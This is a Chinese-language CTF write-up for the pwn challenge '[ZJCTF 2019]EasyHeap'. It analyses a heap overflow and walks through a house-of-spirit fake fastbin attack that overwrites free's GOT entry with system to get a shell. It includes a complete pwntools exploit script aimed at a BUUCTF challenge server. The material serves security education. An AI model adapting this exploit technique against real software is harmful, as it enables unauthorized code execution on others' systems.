• [ZJCTF 2019]EasyHeap


    逆向分析

    --------------------------------
           Easy Heap Creator       
    --------------------------------
     1. Create a Heap               
     2. Edit a Heap                 
     3. Delete a Heap               
     4. Exit                        
    --------------------------------
    Your choice :
    
    

    create 函数

        heaparray[i] = malloc(size);
        read_input(heaparray[i], size);
    
    • heaparray[i]:存放 chunk 的地址。
    • read_input(heaparray[i], size):向 chunk 写入 size 大小的内容。

    edit 函数

        read_input(heaparray[v2], v0);
    
    • read_input(heaparray[v2], v0):向 chunk 中写入 v0 大小的内容,也就是说如果 v0 比 create 时的 size 大的话就会造成堆溢出。

    delete 函数

        free(heaparray[v1]);
        heaparray[v1] = 0LL;
    
    • free 掉对应 chunk 且指针置 0 了。

    利用思路

    • 创建3个 chunk ,chunk 0 1 2 ,chunk 1 的内容为 /bin/sh 。
    • 我们可以用 house of spirit 技术,伪造 chunk 至 heaparray 附近,这样操作在 malloc fastbin 时需要绕过大小判断,我们可以巧妙地利用地址开头 7f 来伪造大小为 0x70 的 fastbin 。
    gdb-peda$ x /20xw 0x6020a0 - 3
    0x60209d:	0x20000000	0x242d0af6	0x0000007f	0x00000000
    0x6020ad:	0xe0000000	0x242d0ae8	0x0000007f	0x00000000
    0x6020bd:	0x00000000	0x00000000	0x00000000	0x00000000
    0x6020cd:	0x00000000	0x00000000	0x00000000	0x00000000
    0x6020dd:	0x10000000	0x0000d7b0	0x80000000	0x0000d7b0
    
    
    • 然后通过伪造的 fastbin 输入内容覆盖 chunk 0 的地址为 free_got 的地址。
    • 通过编辑 chunk 0 将 free_got 地址改为 system 的地址。
    • 这样 free chunk 1 就会执行 system('/bin/sh') 拿 shell。

    exp 脚本

    from pwn import *
    
    #p = process('./easyheap')
    p = remote('node3.buuoj.cn',26672)
    elf =ELF('./easyheap')
    
    context.log_level = 'debug'
    
    def create(size,content):
    	p.recvuntil('Your choice :')
    	p.sendline('1')
    	p.recvuntil('Size of Heap : ')
    	p.send(str(size))
    	p.recvuntil('Content of heap:')
    	p.send(str(content))	
    
    def edit(index,size,content):
    	p.recvuntil('Your choice :')
    	p.sendline('2')
    	p.recvuntil('Index :')
    	p.sendline(str(index))
    	p.recvuntil('Size of Heap : ')
    	p.send(str(size))
    	p.recvuntil('Content of heap : ')
    	p.send(str(content))
    
    def free(index):
    	p.recvuntil('Your choice :')
    	p.sendline('3')
    	p.recvuntil('Index :')
    	p.sendline(str(index))
    
    free_got = elf.got['free']
    
    create(0x68,'aaaa')
    create(0x68,'bbbb')
    create(0x68,'cccc')
    free(2)
    
    #gdb.attach(p)
    
    payload = '/bin/shx00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
    edit(1,len(payload),payload)
    
    create(0x68,'aaaa')
    create(0x68,'c')
    
    payload = 'xaa' * 3 + p64(0) * 4 + p64(free_got)
    edit(3,len(payload),payload)
    payload = p64(elf.plt['system'])
    
    #gdb.attach(p)
    
    edit(0,len(payload),payload)
    free(1)
    
    #gdb.attach(p)
    
    p.interactive()
    
    

    get flag

    内容来源

    buuctf pwn | summerN's blog

  • 相关阅读:
    设计模式---行为变化模式之命令模式(Command)
    设计模式---数据结构模式之职责链模式(Chain of Responsibility)
    设计模式---数据结构模式之迭代器模式(Iterate)
    WinCE全屏手写输入法
    .net下所有DLL(API)查询,转换C#代码
    在线cron表达式生成器
    完全卸载vs2013、vs2015的方法
    java微信 客服接口-发消息 中文乱码
    【路由达人】简单两步搞定小米路由新增功能-DDNS(解析域名地址转向在线工具)
    微信公众平台开发入门教程
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12395985.html
Copyright © 2020-2023  润新知